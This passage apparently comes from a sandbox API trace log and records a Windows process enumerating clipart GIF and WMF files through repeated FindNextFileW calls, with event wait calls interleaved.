ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0287.343] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0287.343] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0287.343] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0287.343] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0287.343] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0287.343] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0287.344] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0287.344] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0287.344] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0287.344] ResetEvent (hEvent=0x2a0) returned 1 [0287.344] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.346] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0287.348] ResetEvent (hEvent=0x2a0) returned 1 [0287.348] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.390] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0287.390] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0287.390] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0287.391] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0287.391] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0287.391] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0287.391] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0287.391] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0287.391] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0287.392] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0287.392] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0287.392] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0287.392] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0287.392] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0287.392] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0287.393] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0287.393] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0287.393] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0287.393] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0287.393] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0287.393] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc89dc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0287.394] ResetEvent (hEvent=0x2a0) returned 1 [0287.394] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.395] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0287.395] ResetEvent (hEvent=0x2a0) returned 1 [0287.395] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.397] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0287.397] ResetEvent (hEvent=0x2a0) returned 1 [0287.397] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.399] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0287.399] ResetEvent (hEvent=0x2a0) returned 1 [0287.399] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.401] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0287.401] ResetEvent (hEvent=0x2a0) returned 1 [0287.401] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.403] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0287.403] ResetEvent (hEvent=0x2a0) returned 1 [0287.403] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.405] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0287.405] ResetEvent (hEvent=0x2a0) returned 1 [0287.405] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.407] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0287.407] ResetEvent (hEvent=0x2a0) returned 1 [0287.407] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.409] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0287.410] ResetEvent (hEvent=0x2a0) returned 1 [0287.410] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.411] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0287.411] ResetEvent (hEvent=0x2a0) returned 1 [0287.412] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.413] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0287.413] ResetEvent (hEvent=0x2a0) returned 1 [0287.413] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.415] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0287.415] ResetEvent (hEvent=0x2a0) returned 1 [0287.415] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.417] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 